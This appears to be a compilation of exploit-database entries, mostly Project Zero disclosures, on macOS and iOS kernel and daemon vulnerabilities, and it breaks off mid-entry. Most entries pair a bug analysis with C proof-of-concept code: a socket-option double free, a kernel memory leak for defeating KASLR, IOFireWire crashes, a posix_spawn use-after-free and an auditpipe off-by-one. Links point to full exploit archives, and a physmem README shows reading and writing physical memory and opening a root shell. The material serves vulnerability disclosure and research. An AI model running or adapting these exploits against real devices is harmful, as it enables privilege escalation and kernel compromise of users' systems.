If a MIG method returns an error code, then it took ownership of *none* of the arguments passed to it.
If an IOKit userclient external method takes an async wake mach port argument then the lifetime of the reference
on that mach port passed to the external method will be managed by MIG semantics. If the external method returns
an error then MIG will assume that the reference was not consumed by the external method and as such the MIG
generated coode will drop a reference on the port.
IOSurfaceRootUserClient external method 17 (s_set_surface_notify) will drop a reference on the wake_port
(via IOUserClient::releaseAsyncReference64) then return an error code if the client has previously registered
a port with the same callback function.
The external method's error return value propagates via the return value of is_io_connect_async_method back to the
MIG generated code which will drop a futher reference on the wake_port when only one was taken.
This bug is reachable from the iOS app sandbox as demonstrated by this PoC.
Tested on iOS 11.0.3 (11A432) on iPhone 6s (MKQL2CN/A)
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
------------------------------------------------------
async_wake exploit attached.
Gets tfp0 on all 64-bit devices plus an initial PoC local kernel debugger.
See the README and kdbg.c for details.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43320.zip
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1373
SO_FLOW_DIVERT_TOKEN is a socket option on the SOL_SOCKET layer. It's implemented by
flow_divert_token_set(struct socket *so, struct sockopt *sopt)
in flow_divert.c.
The relevant code is:
error = soopt_getm(sopt, &token);
if (error) {
goto done;
}
error = soopt_mcopyin(sopt, token);
if (error) {
goto done;
}
...
done:
if (token != NULL) {
mbuf_freem(token);
}
soopt_getm allocates an mbuf.
soopt_mcopyin, which should copyin the data for the mbuf from userspace, has the following code:
error = copyin(sopt->sopt_val, mtod(m, char *),
m->m_len);
if (error != 0) {
m_freem(m0);
return (error);
}
This means that if the copyin fails, by for example providing an invalid userspace pointer, soopt_mcopyin
will free the mbuf. flow_divert_token_set isn't aware of these semantics and if it sees that soopt_mcopyin
returns an error it also calls mbuf_freem on that same mbuf which soopy_mcopyin already freed.
mbufs are aggressivly cached but with sufficiently full caches m_freem will eventually fall through to freeing
back to a zalloc zone, and that zone could potentially be garbage collected leading to the ability to actually
exploit such an issue.
This PoC will just hit a panic inside m_free when it detects a double-free but do note that this cannot detect
all double frees and this issue is still exploitable with sufficient grooming/cache manipulation.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/
// ianbeer
#if 0
MacOS/iOS kernel double free due to incorrect API usage in flow divert socket option handling
SO_FLOW_DIVERT_TOKEN is a socket option on the SOL_SOCKET layer. It's implemented by
flow_divert_token_set(struct socket *so, struct sockopt *sopt)
in flow_divert.c.
The relevant code is:
error = soopt_getm(sopt, &token);
if (error) {
goto done;
}
error = soopt_mcopyin(sopt, token);
if (error) {
goto done;
}
...
done:
if (token != NULL) {
mbuf_freem(token);
}
soopt_getm allocates an mbuf.
soopt_mcopyin, which should copyin the data for the mbuf from userspace, has the following code:
error = copyin(sopt->sopt_val, mtod(m, char *),
m->m_len);
if (error != 0) {
m_freem(m0);
return (error);
}
This means that if the copyin fails, by for example providing an invalid userspace pointer, soopt_mcopyin
will free the mbuf. flow_divert_token_set isn't aware of these semantics and if it sees that soopt_mcopyin
returns an error it also calls mbuf_freem on that same mbuf which soopy_mcopyin already freed.
mbufs are aggressivly cached but with sufficiently full caches m_freem will eventually fall through to freeing
back to a zalloc zone, and that zone could potentially be garbage collected leading to the ability to actually
exploit such an issue.
This PoC will just hit a panic inside m_free when it detects a double-free but do note that this cannot detect
all double frees and this issue is still exploitable with sufficient grooming/cache manipulation.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif
#include <stdlib.h>
#include <stdio.h>
#include <sys/socket.h>
int main() {
int sock = socket(PF_INET, SOCK_DGRAM, 0);
if (socket < 0) {
printf("failed to create socket\n");
return 0;
}
printf("socket: %d\n", sock);
setsockopt(sock, SOL_SOCKET, 0x1106, (void*)424242424242, 100);
return 0;
}
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1247
When XPC serializes large xpc_data objects it creates mach memory entry ports
to represent the memory region then transfers that region to the receiving process
by sending a send right to the memory entry port in the underlying mach message.
By crafting our own xpc message (or using an interposition library as this poc does)
we can pass different flags to mach_make_memory_entry_64 such that the memory entry
received by the target process actually represents a region of shared memory such that
when the xpc_data deserialization code maps the memory entry port the memory region remains
mapped in the sender's address space and the sender can still modify it (with the receiver
seeing the updates.)
Perhaps this is intended behaviour but there's definitely plenty of code which doesn't expect
the contents of xpc_data objects to change.
In this PoC I target NSXPC, a high-level RPC mechanism which uses XPC for its low-level transport layer.
NSXPC is widely used across privilege boundaries.
NSXPCDecoder is implemented in Foundation. Clients send serialized NSInvocation objects
representing the methods they wish to call on the remote objects. These NSInvocations are serialized
using the NSSecureCoding method which ends up creating a bplist16 serialized byte stream.
That bplist16 buffer gets sent in an xpc message as an xpc_data object.
NSXPCDecoder wraps the bplist16 deserialization and for selectors such as decodeCStringForKey:
,if the key is present, the value returned will be a pointer directly into the
xpc_data object in which it was received.
By crafting our own memory entry object this means the pointers returned by decodeCStringForKey:
actually point into shared memory which can still be modified by the caller.
This can be turned directly into controlled memory corruption by targetting the serialized method
type signature (key 'ty') which is parsed by [NSMethodSignature signatureWithObjCTypes].
This method is implemented in CoreFoundation. If the method signature string isn't in a cache of
parsed signatures then the string is passed to __NSMS1. This function calls __NSGetSizeAndAlignment
to determine the size of a buffer required to parse the signature string which __NSMS1 then allocates
using calloc before parsing the signature string into the allocated buffer. If we change the
types represented by the signature string (which is in shared memory) between these two calls
we can cause the parsing code to write out of bounds as it assumes that the length computed by
__NSGetSizeAndAlignment is correct.
The most direct path to trigger memory controlled memory corruption is to use a type signature like this:
@"ABCD"
That will cause 7 bytes of buffer space to be allocated for the parsed signature
(which will just contain a copy of the string.)
If we increase the length of the string in shared memory eg to:
@"ABCDOVERFLOW_OVERFLOW_OVERFLOW"
then __NSMS1 will copy the extra bytes up until it encounters a '"' character.
This PoC targets the airportd daemon which runs as root but should work for any NSXPC service.
This is a race condition so you may have to run the PoC multiple times (./run.sh) and also use
libgmalloc to see the corruption directly rather than its effects.
################################################################################
triple_fetch - ianbeer
This is an exploit for CVE-2017-7047, a logic error in libxpc which allowed
malicious message senders to send xpc_data objects that were backed by shared memory.
Consumers of xpc messages did not seem to expect that the backing buffers of xpc_data objects
could be modified by the sender whilst being processed by the receiver.
This project exploits CVE-2017-7047 to build a proof-of-concept remote lldb debugserver
stub capable of attaching to and allowing the remote debugging all userspace
processes on iOS 10.0 to 10.3.2.
Please see the README in the nsxpc2pc folder in the attached archive for further discussion and details.
################################################################################
The exploit isn't hugely reliable - the race condition needs quite exact timing and sometimes it just doesn't work or it does but the heap groom fails. You should just hard reboot the device and try again. It may take a couple of attempts but it should work. Once the debugserver is running it should be stable. If you take a look at the xcode stdout/debugger window you can see some more status information.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42407.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1172
Using lldb inside a simple hello_world app for iOS we can see that there are over 600 classes which we could get deserialized
(for persistance for example.)
The TextInput framework which is loaded has a class TIKeyboardLayout. The initWithCoder: implementation has this code:
(this is the x86 code, the framework is there on both platforms.)
mov r15, cs:selRef_decodeBytesForKey_returnedLength_
lea rdx, cfstr_Frames ; "frames"
lea rcx, [rbp+var_40] <-- length of serialized binary data
mov rdi, r14
mov rsi, r15
call r13 ; _objc_msgSend
mov r12, rax <-- pointer to serialized binary data
mov rdx, [rbp+var_40]
shr rdx, 3 <-- divide length by 8
mov rax, cs:_OBJC_IVAR_$_TIKeyboardLayout__count ; uint64_t _count;
mov [rbx+rax], rdx
mov rsi, cs:selRef_ensureFrameCapacity_
mov rdi, rbx
call r13 ; _objc_msgSend <-- will calloc(len/8, 8) and assign to _frames
mov rax, cs:_OBJC_IVAR_$_TIKeyboardLayout__frames ; struct _ShortRect *_frames;
mov rdi, [rbx+rax] ; void *
mov rdx, [rbp+var_40] ; size_t <-- original length not divided by 8
mov rsi, r12 ; void *
call _memcpy <-- can memcpy up to 7 bytes more than was allocated
This method reads binary data from the NSCoder, it divides the length by 8 and passes that to ensureFrameCapacity
which passes it to calloc with an item size of 8. This has the effect of mallocing the original size rounded down
to the nearest multiple of 8.
The memcpy then uses the original length (not rounded down) causing a controlled heap buffer overflow.
I've created a serialized TIKeyboardLayout with a frames value which is "A"*0x107.
Use ASAN to see the crash clearly (see provided compiler invokation.)
tested on MacOS 10.12.3 (16D32)
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42051.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1175
CAMediaTimingFunctionBuiltin is a class in QuartzCore. Its initWithCoder: method
reads an Int "index" then passes that to builtin_function
mov ebx, edi <-- controlled unsigned int
mov r14d, ebx
lea r15, __ZL9functions_0 ; functions
mov rax, [r15+r14*8]
if rax is non-null it's returned as an objective-c object pointer and the objective-c retain
selector is sent to it.
Serialized poc in attached file with an index of 12345678.
tested on MacOS 10.12.3 (16D32)
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42052.zip
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1372
the kernel libproc API proc_list_uptrs has the following comment in it's userspace header:
/*
* Enumerate potential userspace pointers embedded in kernel data structures.
* Currently inspects kqueues only.
*
* NOTE: returned "pointers" are opaque user-supplied values and thus not
* guaranteed to address valid objects or be pointers at all.
*
* Returns the number of pointers found (which may exceed buffersize), or -1 on
* failure and errno set appropriately.
This is a recent addition to the kernel, presumably as a debugging tool to help enumerate
places where the kernel is accidentally disclosing kernel pointers to userspace.
The implementation currently enumerates kqueues and dumps a bunch of values from them.
Here's the relevant code:
// buffer and buffersize are attacker controlled
int
proc_pidlistuptrs(proc_t p, user_addr_t buffer, uint32_t buffersize, int32_t *retval)
{
uint32_t count = 0;
int error = 0;
void *kbuf = NULL;
int32_t nuptrs = 0;
if (buffer != USER_ADDR_NULL) {
count = buffersize / sizeof(uint64_t); <---(a)
if (count > MAX_UPTRS) {
count = MAX_UPTRS;
buffersize = count * sizeof(uint64_t);
}
if (count > 0) {
kbuf = kalloc(buffersize); <--- (b)
assert(kbuf != NULL);
}
} else {
buffersize = 0;
}
nuptrs = kevent_proc_copy_uptrs(p, kbuf, buffersize);
if (kbuf) {
size_t copysize;
if (os_mul_overflow(nuptrs, sizeof(uint64_t), ©size)) { <--- (c)
error = ERANGE;
goto out;
}
if (copysize > buffersize) { <-- (d)
copysize = buffersize;
}
error = copyout(kbuf, buffer, copysize); <--- (e)
}
At (a) the attacker-supplied buffersize is divided by 8 to compute the maximum number of uint64_t's
which can fit in there.
If that value isn't huge then the attacker-supplied buffersize is used to kalloc the kbuf buffer at (b).
kbuf and buffersize are then passed to kevent_proc_copy_uptrs. Looking at the implementation of
kevent_proc_copy_uptrs the return value is the total number of values it found, even if that value is larger
than the supplied buffer. If it finds more than will fit it keeps counting but no longer writes them to the kbuf.
This means that at (c) the computed copysize value doesn't reflect how many values were actually written to kbuf
but how many *could* have been written had the buffer been big enough.
If there were possible values which could have been written than there was space in the buffer then at (d) copysize
will be limited down to buffersize.
Copysize is then used at (e) to copy the contents of kbuf to userspace.
The bug is that there's no enforcement that (buffersize % 8) == 0. If we were to pass a buffersize of 15, at (a) count would be 1
as 15 bytes is only enough to store 1 complete uint64_t. At (b) this would kalloc a buffer of 15 bytes.
If the target pid actually had 10 possible values which kevent_proc_copy_uptrs finds then nuptrs will return 10 but it will
only write to the first value to kbuf, leaving the last 7 bytes untouched.
At (c) copysize will be computed at 10*8 = 80 bytes, at (d) since 80 > 15 copysize will be truncated back down to buffersize (15)
and at (e) 15 bytes will be copied back to userspace even though only 8 were written to.
Kalloc doesn't zero-initialise returned memory so this can be used to easily and safely disclose lots of kernel memory, albeit
limited to the 7-least significant bytes of each 8-byte aligned qword. That's more than enough to easily defeat kaslr.
This PoC demonstrates the disclosure of kernel pointers in the stale kalloc memory.
Tested on MacOS 10.13 High Sierra (17A365)
*/
// ianbeer
#if 0
XNU kernel memory disclosure due to bug in kernel API for detecting kernel memory disclosures
the kernel libproc API proc_list_uptrs has the following comment in it's userspace header:
/*
* Enumerate potential userspace pointers embedded in kernel data structures.
* Currently inspects kqueues only.
*
* NOTE: returned "pointers" are opaque user-supplied values and thus not
* guaranteed to address valid objects or be pointers at all.
*
* Returns the number of pointers found (which may exceed buffersize), or -1 on
* failure and errno set appropriately.
*/
This is a recent addition to the kernel, presumably as a debugging tool to help enumerate
places where the kernel is accidentally disclosing kernel pointers to userspace.
The implementation currently enumerates kqueues and dumps a bunch of values from them.
Here's the relevant code:
// buffer and buffersize are attacker controlled
int
proc_pidlistuptrs(proc_t p, user_addr_t buffer, uint32_t buffersize, int32_t *retval)
{
uint32_t count = 0;
int error = 0;
void *kbuf = NULL;
int32_t nuptrs = 0;
if (buffer != USER_ADDR_NULL) {
count = buffersize / sizeof(uint64_t); <---(a)
if (count > MAX_UPTRS) {
count = MAX_UPTRS;
buffersize = count * sizeof(uint64_t);
}
if (count > 0) {
kbuf = kalloc(buffersize); <--- (b)
assert(kbuf != NULL);
}
} else {
buffersize = 0;
}
nuptrs = kevent_proc_copy_uptrs(p, kbuf, buffersize);
if (kbuf) {
size_t copysize;
if (os_mul_overflow(nuptrs, sizeof(uint64_t), ©size)) { <--- (c)
error = ERANGE;
goto out;
}
if (copysize > buffersize) { <-- (d)
copysize = buffersize;
}
error = copyout(kbuf, buffer, copysize); <--- (e)
}
At (a) the attacker-supplied buffersize is divided by 8 to compute the maximum number of uint64_t's
which can fit in there.
If that value isn't huge then the attacker-supplied buffersize is used to kalloc the kbuf buffer at (b).
kbuf and buffersize are then passed to kevent_proc_copy_uptrs. Looking at the implementation of
kevent_proc_copy_uptrs the return value is the total number of values it found, even if that value is larger
than the supplied buffer. If it finds more than will fit it keeps counting but no longer writes them to the kbuf.
This means that at (c) the computed copysize value doesn't reflect how many values were actually written to kbuf
but how many *could* have been written had the buffer been big enough.
If there were possible values which could have been written than there was space in the buffer then at (d) copysize
will be limited down to buffersize.
Copysize is then used at (e) to copy the contents of kbuf to userspace.
The bug is that there's no enforcement that (buffersize % 8) == 0. If we were to pass a buffersize of 15, at (a) count would be 1
as 15 bytes is only enough to store 1 complete uint64_t. At (b) this would kalloc a buffer of 15 bytes.
If the target pid actually had 10 possible values which kevent_proc_copy_uptrs finds then nuptrs will return 10 but it will
only write to the first value to kbuf, leaving the last 7 bytes untouched.
At (c) copysize will be computed at 10*8 = 80 bytes, at (d) since 80 > 15 copysize will be truncated back down to buffersize (15)
and at (e) 15 bytes will be copied back to userspace even though only 8 were written to.
Kalloc doesn't zero-initialise returned memory so this can be used to easily and safely disclose lots of kernel memory, albeit
limited to the 7-least significant bytes of each 8-byte aligned qword. That's more than enough to easily defeat kaslr.
This PoC demonstrates the disclosure of kernel pointers in the stale kalloc memory.
Tested on MacOS 10.13 High Sierra (17A365)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define PRIVATE
#include <libproc.h>
uint64_t try_leak(pid_t pid, int count) {
size_t buf_size = (count*8)+7;
char* buf = calloc(buf_size+1, 1);
int err = proc_list_uptrs(pid, (void*)buf, buf_size);
if (err == -1) {
return 0;
}
// the last 7 bytes will contain the leaked data:
uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
return last_val;
}
int main(int argc, char** argv) {
for (int pid = 0; pid < 1000; pid++) {
for (int i = 0; i < 100; i++) {
uint64_t leak = try_leak(pid, i);
/*
if (leak != 0 && leak != 0x00adbeefdeadbeef) {
printf("%016llx\n", leak);
}
*/
if ((leak & 0x00ffffff00000000) == 0xffff8000000000) {
printf("%016llx\n", leak);
}
}
}
return 0;
}
/*
* IOFireWireFamily-null-deref.c
* Brandon Azad
*
* NULL pointer dereference in IOFireWireUserClient::setAsyncRef_IsochChannelForceStop.
*
* Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44236.zip
*/
#include <IOKit/IOKitLib.h>
int main() {
int ret = 0;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOFireWireLocalNode"));
if (service == IO_OBJECT_NULL) {
ret = 1;
goto fail1;
}
io_connect_t connect;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
IOObjectRelease(service);
if (kr != KERN_SUCCESS) {
ret = 2;
goto fail1;
}
// isochChannel_Create
uint64_t args[3] = { 0, 0x100, 0x100 };
uint64_t handle = 0;
uint32_t output_count = 1;
kr = IOConnectCallMethod(connect, 57,
args, sizeof(args) / sizeof(*args), NULL, 0,
&handle, &output_count, NULL, NULL);
if (kr != KERN_SUCCESS) {
ret = 3;
goto fail2;
}
// setAsyncRef_IsochChannelForceStop
kr = IOConnectCallMethod(connect, 90,
&handle, 1, NULL, 0,
NULL, NULL, NULL, NULL);
if (kr != KERN_SUCCESS) {
ret = 4;
goto fail2;
}
fail2:
IOServiceClose(connect);
fail1:
return ret;
}
## physmem
<!-- Brandon Azad -->
physmem is a physical memory inspection tool and local privilege escalation targeting macOS up
through 10.12.1. It exploits either [CVE-2016-1825] or [CVE-2016-7617] depending on the deployment
target. These two vulnerabilities are nearly identical, and exploitation can be done exactly the
same. They were patched in OS X El Capitan [10.11.5] and macOS Sierra [10.12.2], respectively.
[CVE-2016-1825]: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-1825
[CVE-2016-7617]: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-7617
[10.11.5]: https://support.apple.com/en-us/HT206567
[10.12.2]: https://support.apple.com/en-us/HT207423
Because these are logic bugs, exploitation is incredibly reliable. I have not yet experienced a
panic in the tens of thousands of times I've run a program (correctly) exploiting these
vulnerabilities.
### CVE-2016-1825
CVE-2016-1825 is an issue in IOHIDevice which allows setting arbitrary IOKit registry properties.
In particular, the privileged property IOUserClientClass can be controlled by an unprivileged
process. I have not tested platforms before Yosemite, but the vulnerability appears in the source
code as early as Mac OS X Leopard.
### CVE-2016-7617
CVE-2016-7617 is an almost identical issue in AppleBroadcomBluetoothHostController. This
vulnerability appears to have been introduced in OS X El Capitan. It was reported by Ian Beer of
Google's Project Zero (issue [974]) and Radu Motspan.
[974]: https://bugs.chromium.org/p/project-zero/issues/detail?id=974
### Building
Build physmem by specifying your deployment target on the command line:
$ make MACOSX_DEPLOYMENT_TARGET=10.10.5
### Running
You can read a word of physical memory using the read command:
$ ./physmem read 0x1000
a69a04f2f59625b3
You can write to physical memory using the write command:
$ ./physmem write 0x1000 0x1122334455667788
$ ./physmem read 0x1000
1122334455667788
You can exec a root shell using the root command:
$ ./physmem root
sh-3.2# whoami
root
### License
The physmem code is released into the public domain. As a courtesy I ask that if you reference or
use any of this code you attribute it to me.
Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44237.zip
/*
* IOFireWireFamily-overflow.c
* Brandon Azad
*
* Buffer overflow reachable from IOFireWireUserClient::localConfigDirectory_Publish.
*
* Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44235.zip
*/
#include <IOKit/IOKitLib.h>
#include <stdlib.h>
#include <string.h>
int main() {
int ret = 0;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOFireWireLocalNode"));
if (service == IO_OBJECT_NULL) {
ret = 1;
goto fail1;
}
io_connect_t connect;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
IOObjectRelease(service);
if (kr != KERN_SUCCESS) {
ret = 2;
goto fail1;
}
// localConfigDirectory_Create
uint64_t directory = 0;
uint32_t output_count = 1;
kr = IOConnectCallMethod(connect, 16,
NULL, 0, NULL, 0,
&directory, &output_count, NULL, NULL);
if (kr != KERN_SUCCESS) {
ret = 3;
goto fail2;
}
// localConfigDirectory_addEntry_Buffer
uint32_t size = 0x100000;
void *buffer = malloc(size);
memset(buffer, 0xaa, size);
uint64_t addEntry_Buffer_args[6] = { directory, 0, (uint64_t)buffer, size, 0, 0 };
kr = IOConnectCallMethod(connect, 17,
addEntry_Buffer_args,
sizeof(addEntry_Buffer_args) / sizeof(*addEntry_Buffer_args),
NULL, 0,
NULL, NULL, NULL, NULL);
free(buffer);
if (kr != KERN_SUCCESS) {
ret = 4;
goto fail2;
}
// localConfigDirectory_Publish
kr = IOConnectCallMethod(connect, 21,
&directory, 1, NULL, 0,
NULL, NULL, NULL, NULL);
if (kr != KERN_SUCCESS) {
ret = 5;
goto fail2;
}
fail2:
IOServiceClose(connect);
fail1:
return ret;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1104
exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.
It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)
For the special, exception and audit ports it tries to update the new task to reflect the port action
by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
any of those calls fail it calls ipc_port_release_send(port).
task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
an audit session port.
This means we can cause two references to be dropped on the port when only one is held leading to a
use after free in the kernel.
Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
*/
// ianbeer
#if 0
MacOS/iOS kernel uaf due to double-release in posix_spawn
exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.
It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)
For the special, exception and audit ports it tries to update the new task to reflect the port action
by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
any of those calls fail it calls ipc_port_release_send(port).
task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
an audit session port.
This means we can cause two references to be dropped on the port when only one is held leading to a
use after free in the kernel.
Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <spawn.h>
#include <mach/mach.h>
int main() {
mach_port_t p = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
posix_spawnattr_t attrs;
posix_spawnattr_init(&attrs);
posix_spawnattr_setauditsessionport_np(&attrs,p);
char* _argv[] = {"/usr/bin/id", NULL};
int child_pid = 0;
int spawn_err = posix_spawn(&child_pid,
"/usr/bin/id",
NULL, // file actions
&attrs,
_argv,
NULL);
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1126
MacOS kernel memory corruption due to off-by-one in audit_pipe_open
audit_pipe_open is the special file open handler for the auditpipe device (major number 10.)
Here's the code:
static int
audit_pipe_open(dev_t dev, __unused int flags, __unused int devtype,
__unused proc_t p)
{
struct audit_pipe *ap;
int u;
u = minor(dev);
if (u < 0 || u > MAX_AUDIT_PIPES)
return (ENXIO);
AUDIT_PIPE_LIST_WLOCK();
ap = audit_pipe_dtab[u];
if (ap == NULL) {
ap = audit_pipe_alloc();
if (ap == NULL) {
AUDIT_PIPE_LIST_WUNLOCK();
return (ENOMEM);
}
audit_pipe_dtab[u] = ap;
We can control the minor number via mknod. Here's the definition of audit_pipe_dtab:
static struct audit_pipe *audit_pipe_dtab[MAX_AUDIT_PIPES];
There's an off-by-one in the minor number bounds check
(u < 0 || u > MAX_AUDIT_PIPES)
should be
(u < 0 || u >= MAX_AUDIT_PIPES)
The other special file operation handlers assume that the minor number of an opened device
is correct therefore it isn't validated for example in the ioctl handler:
static int
audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data,
__unused int flag, __unused proc_t p)
{
...
ap = audit_pipe_dtab[minor(dev)];
KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL"));
...
switch (cmd) {
case FIONBIO:
AUDIT_PIPE_LOCK(ap);
if (*(int *)data)
Directly after the audit_pipe_dtab array in the bss is this global variable:
static u_int64_t audit_pipe_drops;
audit_pipe_drops will be incremented each time an audit message enqueue fails:
if (ap->ap_qlen >= ap->ap_qlimit) {
ap->ap_drops++;
audit_pipe_drops++;
return;
}
So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the
struct audit_pipe* which is read out-of-bounds.
For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file
and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record
and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe*
then the ioctl will try to use that pointer.
This is a root to kernel privesc.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
//ianbeer
#if 0
MacOS kernel memory corruption due to off-by-one in audit_pipe_open
audit_pipe_open is the special file open handler for the auditpipe device (major number 10.)
Here's the code:
static int
audit_pipe_open(dev_t dev, __unused int flags, __unused int devtype,
__unused proc_t p)
{
struct audit_pipe *ap;
int u;
u = minor(dev);
if (u < 0 || u > MAX_AUDIT_PIPES)
return (ENXIO);
AUDIT_PIPE_LIST_WLOCK();
ap = audit_pipe_dtab[u];
if (ap == NULL) {
ap = audit_pipe_alloc();
if (ap == NULL) {
AUDIT_PIPE_LIST_WUNLOCK();
return (ENOMEM);
}
audit_pipe_dtab[u] = ap;
We can control the minor number via mknod. Here's the definition of audit_pipe_dtab:
static struct audit_pipe *audit_pipe_dtab[MAX_AUDIT_PIPES];
There's an off-by-one in the minor number bounds check
(u < 0 || u > MAX_AUDIT_PIPES)
should be
(u < 0 || u >= MAX_AUDIT_PIPES)
The other special file operation handlers assume that the minor number of an opened device
is correct therefore it isn't validated for example in the ioctl handler:
static int
audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data,
__unused int flag, __unused proc_t p)
{
...
ap = audit_pipe_dtab[minor(dev)];
KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL"));
...
switch (cmd) {
case FIONBIO:
AUDIT_PIPE_LOCK(ap);
if (*(int *)data)
Directly after the audit_pipe_dtab array in the bss is this global variable:
static u_int64_t audit_pipe_drops;
audit_pipe_drops will be incremented each time an audit message enqueue fails:
if (ap->ap_qlen >= ap->ap_qlimit) {
ap->ap_drops++;
audit_pipe_drops++;
return;
}
So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the
struct audit_pipe* which is read out-of-bounds.
For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file
and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record
and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe*
then the ioctl will try to use that pointer.
This is a root to kernel privesc.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <net/bpf.h>
#include <net/if.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <bsm/audit.h>
#include <security/audit/audit_ioctl.h>
int main(int argc, char** argv) {
system("rm -rf /dev/auditpipe");
system("mknod /dev/auditpipe c 10 32");
int fd = open("/dev/auditpipe", O_RDWR);
if (fd == -1) {
perror("failed to open auditpipe device\n");
exit(EXIT_FAILURE);
}
printf("opened device\n");
system("touch a_log_file");
int auditerr = auditctl("a_log_file");
if (auditerr == -1) {
perror("failed to set a new log file\n");
}
uint32_t qlim = 1;
int err = ioctl(fd, AUDITPIPE_SET_QLIMIT, &qlim);
if (err == -1) {
perror("AUDITPIPE_SET_QLIMIT");
exit(EXIT_FAILURE);
}
while(1) {
char* audit_data = "\x74hello";
int audit_len = strlen(audit_data)+1;
audit(audit_data, audit_len);
uint32_t nread = 0;
int err = ioctl(fd, FIONREAD, &qlim);
if (err == -1) {
perror("FIONREAD");
exit(EXIT_FAILURE);
}
}
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1069
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace
__text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace
...
__text:000000000002A3B8 mov eax, [rbx] ; read dword
__text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object
__text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0
__text:000000000002A3C9 jz short ___fail
__text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes
__text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace
__text:000000000002A3DA call _memcpy
For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.
With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.
tested on MacOS Sierra 10.12.2 (16C67)
*/
// ianbeer
// build: clang -o capri_mem capri_mem.c -framework IOKit
#if 0
